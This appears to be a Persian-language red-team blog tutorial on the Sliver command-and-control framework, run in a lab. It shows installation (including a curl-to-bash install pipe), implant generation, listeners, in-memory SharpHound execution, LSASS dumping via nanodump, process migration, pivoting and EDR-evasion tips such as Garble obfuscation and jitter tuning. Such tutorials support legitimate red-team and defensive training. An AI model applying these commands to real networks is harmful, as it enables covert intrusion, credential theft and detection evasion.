VulnCity

Post-Exploitation با استفاده از C2 (Command & Control): Sliver

نویسنده: اباذر · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۸/۲۳

Silver C2: از نصب تا حمله

مقدمه

 C2 (Command & Control) framework ستون فقرات هر عملیات Red Team یا Adversary Simulation واقعیه؛ بعد از اینکه یه foothold اولیه روی یک سیستم به دست اومد، C2 framework مسیر ارتباطی، اجرای دستورات، و post-exploitation رو فراهم می‌کنه.

Sliver یک C2 framework open-source و نوشته‌شده با Go هست که توسط BishopFox توسعه داده شده و به دلایلی این روزها محبوبیت پیدا کرده:

  • Open-source و رایگان: برخلاف یه framework دیگه مثل Cobalt Strike که لایسنس نیاز داره.

  • Cross-platform: هم server وهم implant (angetای که روی victim نصب میشه) می‌تونن روی Windows, Linux, macOS ساخته و اجرا بشن.

  • پروتکل‌های C2 متنوع:mTLS, HTTP(S), DNS, WireGuard و حتی Named Pipe برای SMB-based pivoting.

  • Session و Beacon mode: هم تعامل real-time و هم ارتباط async.

  • در مقابل Metasploit که payload هاش توسط اکثر AV/EDRها شناسایی میشه همچنان binary و shellcodeهایی که درست میکنه توسط EDR شناسایی نمیشه.

هدف این مقاله راهنمای کامل از نصب تا استفاده عملی از Sliver، از دید Red Team . (مقاله ای دیگر تحت عنوان Blue Team View ازاین مبحث نیز خواهیم داشت)

سناریوی این مقاله یک حالت post-compromise / insider threat هست: فرض می‌کنیم مهاجم از قبل یک foothold اولیه در شبکه داخلی سازمان به دست آورده (نه از طریق phishing یا exploit اولیه که خارج از scope این مقاله‌ست) و حالا می‌خواد با Sliver کنترل سیستم رو تثبیت کنه و حرکت جانبی (lateral movement) انجام بده.

معماری و مفاهیم پایه Sliver

قبل از رفتن سراغ نصب، باید سه مولفه اصلی Sliver رو بشناسیم:

Server: هسته مرکزی سیستم؛ listener ها رو مدیریت می‌کنه، implantها رو تولید می‌کنه و session/beacon های فعال رو نگه می‌داره.

Operator Console (Client): رابط کاربری خط فرمان که یک یا چند عملیات‌کننده (operator) از طریق اون به server وصل میشن. این اتصال خودش هم از طریق mTLS رمزنگاری شده.

Implant: باینری‌ای که روی سیستم victim اجرا میشه و کانال ارتباطی با server رو برقرار می‌کنه.

 

Session vs Beacon

  • Session: ارتباط تقریباً real-time و تعاملی (میگیم تقریبا چون میتونیم Interactive Shell هم از Implantمون از روی Victim بگیریم). مناسب وقتی سرعت واکنش مهمه، اما noise شبکه‌ای بیشتری تولید می‌کنه (ارتباط پیوسته‌تر).

  • Beacon: ایجنت یا implant ما به صورت دوره‌ای (با فاصله زمانی –-intervalو نوسان تصادفیjitter) به server وصل میشه، دستورات صف‌شده رو می‌گیره، اجرا می‌کنه و نتیجه رو در callback بعدی می‌فرسته. این حالت به شدت stealthier هست چون الگوی ترافیک منظم و پیش‌بینی‌پذیر کمتری داره.

پروتکل‌های پشتیبانی‌شده

  • mTLS : ارتباط رمزنگاری‌شده با احراز هویت دوطرفه (mutual TLS)؛ هم server هم implant گواهی دارن.

  • HTTP(S): شبیه‌سازی ترافیک وب معمولی؛ مناسب محیط‌هایی که فقط پورت 443 خروجی باز هست.

  • DNS: برای محیط‌هایی با egress filtering سخت‌گیرانه که فقط DNS resolution مجازه؛ کندتر اما می‌تونه از خیلی از فایروال‌ها عبور کنه.

  • WireGuard (wg): یک VPN tunnel سبک برای ارتباط.

  • Named Pipe / TCP pivot: برای pivoting داخلی بین میزبان‌ها بدون نیاز به ارتباط مستقیم اینترنتی از هر implant.


Stager vs Stageless

  • Stageless: کل implant در یک باینری کامل قرار داره؛ اندازه فایل بزرگتره اما نیازی به دانلود مرحله دوم نداره.

  • Stager: یک payload کوچک اولیه که فقط implant اصلی رو از server دانلود و اجرا می‌کنه؛ اندازه کوچک‌تر

 

طراحی Lab (Topology)

برای این مقاله یک private LAN ساده با سناریوی "مهاجم بخشی از شبکه شده" در نظر گرفتیم:

 ┌─────────────────────┐   mTLS    ┌─────────────────────┐
 │     Attacker VM     │◄─────────►│    Sliver Server    │
 │  (Operator Console) │           │ (Separate from VM)  │
 └─────────────────────┘           └──────────▲──────────┘
                                              │
                                              │ mTLS (C2 channel)
                                              │
                                              ▼
 ┌─────────────────────┐           ┌─────────────────────┐
 │    Victim Windows   │◄─────────►│  Domain Controller  │
 │      (Optional)     │           │   (EDR + Sysmon)    │
 └──────────┬──────────┘           └─────────────────────┘
            │
            │ logs / traffic
            ▼
 ┌───────────────────────────────────────┐
 │         Monitoring / SIEM VM          │
 │  - Zeek (network visibility)          │
 │  - Elastic (Sysmon logs)              │
 └───────────────────────────────────────┘

نکات کلیدی:

  • Sliver Server از Attacker VM جداست: C2 server معمولاً یک VPS خارجیه

  • نصب Zeek که از لاگ های JA3/JA3S و Connection میشه روی fingerprintهاش کار کرد

  • نصب EDR + Sysmon

  • DC که session رو بعد AD Recon بتونیم Investigate کنیم

(جزئیات نصب Zeek/Sysmon/forwarding خارج از scope این مقاله‌ست. تمرکز مقاله روی Sliver و تحلیل خروجیه)

نصب Sliver Server

پیش‌نیازها

  • هاست لینوکسی که دسترسی root داشته باشه

  • اینترنت و فضای کافی برای دانلود dependencyها و binary fileها

  • اگر قصد build from source دارید، نیاز به Go runtime داریم


  • روش ۱: نصب از طریق اسکریپت رسمی

ساده‌ترین روش استفاده از install script رسمی پروژه روی گیت‌هاب Sliver هست که باینری‌های از پیش کامپایل‌شده server و client رو دانلود و نصب می‌کنه.

curl https://sliver.sh/install | sudo bash

  • روش ۲: Build from Source

git clone https://github.com/BishopFox/sliver.git && cd sliver && make && sudo ./sliver-server

در اولین اجرا، Sliver مجموعه‌ای از گواهی‌های mTLS برای ارتباط server-client و همچنین فایل‌های پیکربندی رو در دایرکتوری کاری خودش می‌سازه.

تنظیم Multiplayer Mode

اگه بیش از یک operator قراره به همین server وصل بشه (کار تیمی)، باید برای هر operator یک config جدا تولید کنید:

sliver > new-operator --name <operator_name> --lhost <server_ip>

این دستور یک فایل config حاوی گواهی‌های mTLS اون که operator تولید می‌کنه و باید به صورت امن به operator دیگه منتقل بشه تا از طریق client خودش import کنه:

sliver-client import <config_file>.cfg

آشنایی با Operator Console

وقتی وارد کنسول Sliver شدید چه مستقیم روی server چه از طریق یک client جدا چند دستور پایه رو زیاد استفاده می‌کنید:

help: نمایش راهنمای دستورات موجود

sessions: لیست session های فعال

beacons: لیست beacon های فعال

jobs: لیست listener/job های در حال اجرا

انتخاب یک implant برای تعامل:

use <session/beacon id>

background: خروج از implant فعلی بدون قطع ارتباط

Profiles

به جای اینکه هر بار موقع generate تمام flag ها رو تکرار کنید، می‌تونید یک profile بسازید که تنظیمات پروتکل، OS، معماری، و غیره رو ذخیره می‌کنه و بعداً با یک اسم کوتاه صداش کنید:

 

sliver > profiles new --mtls <server_ip>:<port> --os windows --arch amd64 my-profile

sliver > generate --profile my-profile

راه‌اندازی Listener/Job

Listener چیزیه که روی Sliver server اجرا میشه و منتظر اتصال implant ها می‌مونه.

mTLS Listener:

sliver > mtls --lhost <server_ip> --lport 8888

HTTPS Listener:

sliver > https --lhost <server_ip> --lport 443 --cert <cert_path> --key <key_path>

اگه یک دامنه‌ی public دارید، بعضی نسخه‌ها امکان استفاده از --lets-encrypt رو هم می‌دن تا گواهی به صورت خودکار از Let's Encrypt گرفته بشه و این باعث میشه ترافیک HTTPS شما از نظر گواهی هم کاملاً معتبر و کمتر مشکوک به نظر برسه.

DNS Listener:

sliver > dns --domains c2.example.com

این روش نیاز داره که NS record دامنه c2.example.com به IP سرور Sliver شما اشاره کنه.

چرا انتخاب پروتکل مهمه؟

  • mTLS: بهترین گزینه از نظر امنیت ارتباط و سادگی راه‌اندازی در لب؛ اما اگه فایروال سازمان پورت‌های غیرمعمول رو ببنده، کار نمی‌کنه.

  • HTTPS: بهترین تطابق با ترافیک معمولی سازمانی، اما باید مراقب بود که Host header، user-agent و URI pattern implant زیادی مشکوک به نظر نرسه.

  • DNS: کندترین روش، اما بهترین برای دور زدن egress filtering سخت‌گیرانه.

Generate Implant

مثال پایه (mTLS, stageless, session)

sliver > generate --mtls <server_ip>:8888 --os windows --arch amd64 --format exe --save /tmp/implant.exe

 

Flag های کلیدی:

پروتکل و آدرس C2:

--mtls / --http / --https / --dns

سیستم عامل هدف (windows, linux, darwin):

--os

معماری amd64 و غیره:

--arch

فرمت خروجی: exe, shared (DLL/shared lib), shellcode, service

--format

ساخت implant به صورت Beacon به‌جای Session:

--beacon

درصد نوسان تصادفی زمان callback در حالت beacon:

--jitter

فاصله زمانی پایه بین callback ها در حالت beacon:

--interval

حذف symbol های دیباگ از باینری:

--skip-symbols

Debug برای توسعه بیشتر:

--debug

مثال Beacon:

sliver > generate --https <server_ip>:443 --os windows --arch amd64 --beacon --jitter 30 --interval 60 --format exe

این implant هر ۶۰ ثانیه (±۳۰٪ نوسان تصادفی) تلاش می‌کنه به server وصل بشه.

مدیریت implant های تولیدشده:

sliver > implants
sliver > regenerate <implant_name>

اجرا و برقراری ارتباط با Implant:

در سناریوی ما (post-compromise)، فرض می‌کنیم implant از قبل (مثلاً از طریق یک shared folder داخلی یا یک روش انتقال فایل ساده که در این مقاله به جزئیاتش نمی‌پردازیم) روی سیستم Victim قرار گرفته و اجرا شده.

دریافت Session/Beacon:

به محض اجرا روی Victim و برقراری اتصال موفق، در کنسول Sliver خواهید دید:

sliver > sessions
sliver > beacons

 

تعامل با Implant:

sliver (SESSION_NAME) > info
sliver (SESSION_NAME) > whoami
sliver (SESSION_NAME) > ps
sliver (SESSION_NAME) > netstat
sliver (SESSION_NAME) > ls
sliver (SESSION_NAME) > download <remote_path> <local_path>
sliver (SESSION_NAME) > upload <local_path> <remote_path>
sliver (SESSION_NAME) > shell

در حالت Beacon، دستورات بلافاصله اجرا نمی‌شن؛ بلکه در صف task قرار می‌گیرن و در callback بعدی implant دریافت و اجرا میشن. برای دیدن نتیجه:

sliver (BEACON_NAME) > tasks

قابلیت‌های Post-Exploitation

  • execute-assembly

یکی از قابلیت‌های قدرتمند Sliver، اجرای .NET assembly به صورت in-memory (بدون نوشتن روی دیسک) هست:

sliver (SESSION_NAME) > execute-assembly /path/to/SharpHound.exe -c All

این روش باعث میشه ابزارهایی مثل SharpHound یا Rubeus بدون نیاز به ذخیره فایل روی دیسک اجرا بشن. که سطح تشخیص مبتنی بر فایل (on-disk AV scanning) رو دور می‌زنه.

  • Extensions و BOF

Sliver از یک مدل extension پشتیبانی می‌کنه که امکان نصب و اجرای ابزارهای 3rd party رو می‌ده:

sliver > extensions install <extension_name>

BOF (Beacon Object Files) فرمت کوچک و سبکی هستن که مستقیم در حافظه implant اجرا می‌شن، بدون نیاز به spawn کردن یک process جدید که این باعث میشه رد پای کمتری نسبت به execute-assembly یا shell بذارن.

  • Armory: Sliver Package Manager

اول ببین چی موجوده:

sliver > armory

این یه لیست می‌ده از همه extension/BOF هایی که آماده نصبن، با یه توضیح کوتاه جلوشون. بعدش نصب می‌کنی:

sliver > armory install <extension_name>

و بعد از نصب، دقیقاً مثل یه دستور دیگه Sliver در کنسول قابل استفاده‌ست (یا با use روی session/beacon موردنظر)

  • (BOFهایی برای credential access  مثل nanodump) روش stealth‌تر برای dump کردن LSASS نسبت به ابزارهای سنتی مثل procdump که signature های شناخته‌شده‌تری دارن

  • BOF های recon/enumeration برای چک کردن privilege ها، پیدا کردن misconfiguration های رایج

  • ابزار برای persistence و privilege escalation

 

Loot: جایی که غنیمت‌ها جمع میشن

یه قابلیت کوچیک ولی خیلی کاربردی Sliver، سیستم loot هست. وقتی داری با چند implant همزمان کار می‌کنی (مخصوصاً تو یه عملیات تیمی)، خیلی زود فایل‌ها و credential هایی که جمع کردی قاطی پاطی میشن. Loot جای هست مرکزی برای ذخیره و دسته‌بندی هر چیزی که از implant ها جمع می‌کنی.

sliver (SESSION_NAME) > loot add local <file_path>
sliver > loot

دستور دوم لیست همه loot هایی که تا الان جمع کردی رو نشون می‌ده. با اسم، نوع، و از کدوم host اومده). این خصوصاً وقتی چند operator روی یه عملیات کار می‌کنن خیلی به‌درد می‌خوره، چون همه به یه مخزن مشترک دسترسی دارن و لازم نیست فایل‌ها رو دستی بین خودشون رد و بدل کنن.)

  • Migration جابجا شدن implant بین process ها

یه چیزی که قبلاً فقط یه اشاره کوتاه بهش کردیم ولی ارزش باز کردن داره دستور migrateعه.

فرض کن implant اولیه‌ ات داخل یه process کوتاه‌عمر اجرا شده. مثلاً یه اسکریپت یا یه process که کاربر ممکنه هر لحظه ببندتش. با migrate می‌تونی implant رو به یه process دیگه که پایدارتره منتقل کنی:

sliver (SESSION_NAME) > migrate <PID>

Sliver این کار رو با تزریق کد implant به process مقصد از طریق یه سری تکنیک‌ها انجام میده. نتیجه‌ش اینه که حتی اگه process اولیه بسته بشه، implant هنوز زنده‌ست و داخل process جدید داره کار می‌کنه.

  • Pivoting

برای رسیدن به سیستم‌هایی که مستقیم به اینترنت دسترسی ندارن (مثل DC در شبکه داخلی)

sliver (SESSION_NAME) > portfwd add --remote <target_ip>:<port> --bind <local_port>

یا راه‌اندازی یک SOCKS proxy برای مسیر کردن ترافیک ابزارهای دیگه مثل یک اسکن nmapاز طریق implant.

 

  • AD Recon

بعد از گرفتن یک session روی Victim که عضو دامنه هست، می‌تونیم یک recon سریع از AD انجام بدیم:

sliver (SESSION_NAME) > execute-assembly /path/to/SharpHound.exe -c All

 collection رو می‌تونیم بعداً با download به سمت attacker منتقل و در BloodHound تحلیل کنیم تا مسیرهای حمله به سمت Domain Admin رو پیدا کنیم. همین یک دستور ساده، معمولاً اولین قدم شناخته‌شده‌ی مهاجمین بعد از پا گرفتن در یک محیط AD محسوب میشه

OPSEC و Evasion Techniques

چرا باینری پیش‌فرض گاهی شناسایی نمیشه؟

همونطور که در تست خودتون دیدید، یک implant ساده‌ی mTLS که فقط اجرا میشه و یک کانکشن خروجی باز می‌کنه، لزوماً rule های behavioral رو فعال نمی‌کنه، چون:

  • مقصد ارتباط در هیچ reputation list ای نیست. (IP یا دامنه Lab)

  • ترافیک TLS هست و بدون TLS inspection قابل بازرسی عمیق نیست.

  • هیچ عملیات تهاجمی مثل process injection هنوز رخ نداده.

اما این وضعیت ثابت نیست. خیلی از EDR/AV های بروز، signature یا behavioral rule مخصوص الگوهای شناخته‌شده Sliver (مثل certain Go runtime artifacts یا default beacon pattern)

  • Obfuscation با Garble

Garble یک ابزار نوشته شده با Go است که نام متغیرها، توابع و مسیرهای package رو در زمان کامپایل مبهم می‌کنه، که باعث سخت‌تر شدن تحلیل static و کاهش احتمال match شدن signature های شناخته‌شده میشه:

garble build -o implant_obfuscated.exe

  • Named Pipe به‌جای Raw Socket

برای pivot های داخلی، استفاده از Named Pipe به‌جای TCP مستقیم باعث کاهش ترافیک شبکه‌ای قابل مشاهده بین hostها در داخل همون segment میشه (چون ارتباط از طریق SMB انجام میشه که معمولاً ترافیک عادی و پرحجمی در شبکه‌های ویندوزی محسوب میشه)

  • تنظیم Jitter/Interval مناسب

افزایش –jitter و انتخاب –interval نامنظم‌تر، تشخیص الگوی beaconing (که بر پایه فاصله زمانی ثابت بین connection ها کار می‌کنه) رو سخت‌تر می‌کنه.

  • محدودیت‌های Evasion

هیچ‌کدوم از این تکنیک‌ها دائمی نیستن:

  • AV/EDR vendorها به‌طور مداوم signature و behavioral rule های جدید برای ابزارهای شناخته‌شده مثل Sliver منتشر می‌کنن.

  • حتی garble هم اگه pattern کلی اجرای implant (نه کد خودش) شناخته‌شده باشه، کمکی نمی‌کنه.

در ادامه برای مباحث Detection و Blue Team View هم مقاله ای خواهیم داشت و راه های Detect کردن مباحث گفته شده بررسی میشه. همینطور برای دو تا از SIEMها (Elastic و Splunk) Ruleهای مربوط به زبان Query خودشون (KQL و SPL) میگیم که میتونه توی Detect کردن این حملاتی که گفتیم کمک بکنه.